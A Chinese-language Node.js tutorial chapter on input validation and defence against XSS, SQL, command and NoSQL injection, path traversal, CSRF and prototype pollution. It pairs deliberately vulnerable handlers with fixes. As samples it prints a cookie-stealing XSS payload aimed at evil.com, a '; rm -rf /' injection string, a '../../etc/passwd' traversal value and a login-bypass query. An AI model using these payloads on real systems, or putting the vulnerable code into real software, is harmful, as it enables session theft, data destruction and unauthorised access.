首页 / Node.js 教程 / 输入校验与攻击防护

Node.js 教程

输入校验与攻击防护

本教程共 76 篇 · 第 58 篇 · 更新于 2026-07-25 · 约 8 分钟阅读

Node.jsXSSSQL注入CSRF校验

58. 输入校验与攻击防护

本节目标:- XSS、SQL 注入、命令注入分别怎么发生、怎么防 - 为什么「永远不要拼接用户输入」 - 用 express-validatorzod 做输入校验 - CSRF 的现代防护思路(以及 csurf 已经弃用) - 速率限制挡住爆破和刷接口

前面几章讲的是「怎么认出用户、怎么守住大门」。但安全圈有句话:你信的一切外部数据,都是敌人递过来的刀。表单里填的、URL 参数里的、请求体中的、甚至请求头带过来的——只要不是你代码里写死的,都可能是攻击载荷。

这一章挑几个最高频的攻击面讲:XSS、SQL 注入、命令注入、CSRF、原型污染,以及怎么用校验库把第一道防线筑起来。

铁律:永远不要信任用户输入

所有防护的核心就一句:任何来自外部的数据,在用之前先校验、再转义、绝不拼接进命令或查询。下面每种攻击,本质上都是你「太信任」了输入。

XSS:把脚本塞进你的页面

XSS(跨站脚本,Cross-Site Scripting)是让别人的浏览器执行攻击者注入的脚本。比如你的接口把用户昵称原样插进 HTML:

// 漏洞代码:直接把用户输入拼进 HTML
app.get('/welcome', (req, res) => {
  const name = req.query.name || '朋友';
  res.send(`<h1>欢迎, ${name}</h1>`);
});

攻击者访问 /welcome?name=<script>fetch('https://evil.com?c='+document.cookie)</script>,如果页面把 Cookie 设成了可读(没开 httpOnly),用户的会话就被偷走了。

防护有三层:

  1. 输出编码:把 < > & " ' 转成 HTML 实体再输出。
  2. CSP:上一章讲的 helmet,即使有脚本注入进来,浏览器也不执行非白名单来源。
  3. 输入校验:昵称就只允许字母数字和少量符号,从根本上卡掉 <script>
// 修复:先校验,再输出时编码
import express from 'express';
import helmet from 'helmet';

app.use(helmet()); // 含默认 CSP,兜底防注入脚本执行

app.get('/welcome', (req, res) => {
  const name = String(req.query.name || '朋友')
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
  res.send(`<h1>欢迎, ${name}</h1>`);
});
Tip

如果你用的是模板引擎(第 41 章的 EJS 等),默认大多会自动转义,但有些语法(- 而非 =)会关掉转义,务必确认。别因为「框架帮我转义了」就放松输入校验——多层防御才稳。

SQL 注入:别拼接查询

SQL 注入是老牌经典。把用户输入直接拼进 SQL 字符串,攻击者就能改写你的查询逻辑:

// 漏洞代码
const name = req.query.name;
db.query(`SELECT * FROM users WHERE name = '${name}'`);
// 攻击者传 name = ' OR '1'='1   → 变成 SELECT * FROM users WHERE name = '' OR '1'='1'
// 结果:把整张表都查出来了

修复只有一条路:参数化查询(prepared statement),让用户输入永远作为「数据」而不是「SQL 代码」去执行。用 mysql2 的占位符:

// 安全:占位符,用户输入不会被当成 SQL 执行
const [rows] = await pool.query(
  'SELECT * FROM users WHERE name = ?',
  [req.query.name]
);

PostgreSQL 的 pg 同理用 $1$2 占位。MongoDB 用户注意用官方驱动的参数化查询 API,别自己拼 BSON 查询字符串。第 49、51 章会细讲各数据库的防注入写法。

命令注入:回到第 33 章的坑

还记得 child_process 那章说的吗?exec('grep ' + userInput) 这种写法,用户输入里带个 ; rm -rf / 就能执行任意命令。调用系统命令一律用 spawn 的数组参数或 execFile

// 安全:参数拆成数组,不走 shell 解释
import { spawn } from 'node:child_process';
spawn('grep', [userInput, 'file.txt']);

NoSQL 注入与路径穿越

不止 SQL 会被注入。MongoDB 这类 NoSQL 如果把用户输入直接塞进查询对象,攻击者在 JSON 里传个 { "$gt": "" } 就能让「不等于空」的条件恒成立,绕过登录校验:

// 危险:把前端 JSON 原样当查询条件
const user = await db.users.findOne({ username: req.body.username, password: req.body.password });

// 攻击者传 { "username": { "$gt": "" }, "password": { "$gt": "" } }
// 条件恒成立,直接登录成功

修复同样靠「不让用户输入当结构、只当值」——用固定字段名,把用户输入只作为值传进去,并对字段类型做校验(比如用户名必须是字符串)。第 51 章会结合 Mongoose 细讲。

还有一类叫路径穿越(path traversal):你的接口用用户传的 ?file=report.txt 去读文件,攻击者传 ?file=../../etc/passwd 就能读到系统文件。防御是用 path.normalize 解析后,严格检查最终路径是否还在允许的目录下:

import path from 'node:path';
import fs from 'node:fs';

app.get('/files', (req, res) => {
  const base = '/var/www/uploads/';
  const target = path.normalize(base + req.query.file);
  if (!target.startsWith(base)) {
    return res.status(400).send('非法路径');
  }
  res.send(fs.readFileSync(target));
});

CSRF:借你的身份发请求

CSRF(跨站请求伪造,Cross-Site Request Forgery)的原理是:你登录了银行,另一个恶意网页偷偷发一个「转账」请求,浏览器会自动带上你的 Cookie,银行一看 Cookie 合法就执行了。

两个防御要点:

  1. sameSite Cookie:上一章讲过,把敏感 Cookie 设成 sameSite: 'lax''strict',跨站请求就不会带上它,CSRF 基本失效。这是现代最省事的防线。
  2. CSRF Token:对还要兼容老浏览器的场景,服务端给每个表单发一个一次性随机 token,提交时校验;攻击者跨站发请求拿不到这个 token。
Warning

很多老教程让你装 csurf 做 CSRF 防护,但 csurf 早已停止维护。新项目要么靠 sameSite Cookie + 前后端分离(JSON API 不自动带 Cookie 天然抗 CSRF),要么用社区维护的替代库如 csrf-csrf。别再 npm install csurf 了。

输入校验库:把第一道门关严

与其在每个 handler 里手写正则,不如用成熟的校验库。两个主流选择:

express-validator:链式、和 Express 中间件贴合:

npm install express-validator
import { body, validationResult } from 'express-validator';

const registerRules = [
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 8 }).withMessage('密码至少 8 位'),
  body('age').optional().isInt({ min: 0, max: 150 }),
];

app.post('/register', registerRules, (req, res) => {
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ errors: errors.array() });
  }
  // 到这里,req.body 里的字段已经过校验,可以放心用
  res.json({ ok: true });
});

zod:用 schema 描述数据结构,前后端都能复用,TypeScript 友好:

npm install zod
import { z } from 'zod';

const LoginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8),
});

app.post('/login', (req, res) => {
  const parsed = LoginSchema.safeParse(req.body);
  if (!parsed.success) {
    return res.status(400).json({ errors: parsed.error.issues });
  }
  // parsed.data 是校验通过、类型明确的对象
  res.json({ ok: true });
});
Tip

校验要放在「边界」上:所有外部输入刚进来的地方就校验,而不是用到的时候才想起来。校验不过直接 400 打回去,别让脏数据流进业务逻辑。

原型污染:JavaScript 特有的暗箭

如果你用 Object.assign 或深合并,把用户传来的 JSON 直接合并进一个共享配置对象,攻击者可以塞进 __proto__ 字段,污染所有对象的原型:

// 危险:用户 JSON 里有 {"__proto__": {"isAdmin": true}}
const config = Object.assign({}, baseConfig, JSON.parse(userInput));
// 之后所有普通对象都可能带上 isAdmin: true

防护:

  • Object.create(null) 创建「没有原型」的纯净对象来存配置。
  • Object.hasOwn(obj, key) 判断属性是不是对象自己的,而不是来自原型链。
  • 起点就别把未校验的 JSON 直接深合并进共享对象——回到上一条「先校验」。
  • 必要时用 --disable-proto 启动参数禁用 __proto__(第 59 章会提)。

速率限制:挡住爆破和刷量

就算前面都防住了,攻击者还能靠「海量请求」爆破密码或拖垮你的服务。用 express-rate-limit 按 IP 限流:

npm install express-rate-limit
import rateLimit from 'express-rate-limit';

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 分钟
  max: 10,                  // 同 IP 最多 10 次
  standardHeaders: true,
  message: { error: '尝试太频繁,请 15 分钟后再试' },
});

app.post('/login', loginLimiter, (req, res) => {
  // 登录逻辑
});
Note

限流要区分场景:登录接口严一点,公开读取接口可以松一点。放在反向代理(Nginx)层做全局限流也很常见,能挡在 Node 进程之前。

把这些点串起来——输出编码 + CSP 防 XSS、参数化查询防注入、sameSite + token 防 CSRF、校验库卡住脏数据、速率限制防爆破——你的应用才算真正有了「输入防线」。但安全防护不只写代码这一层,下一章聊依赖、权限、运行环境这些更全局的实践。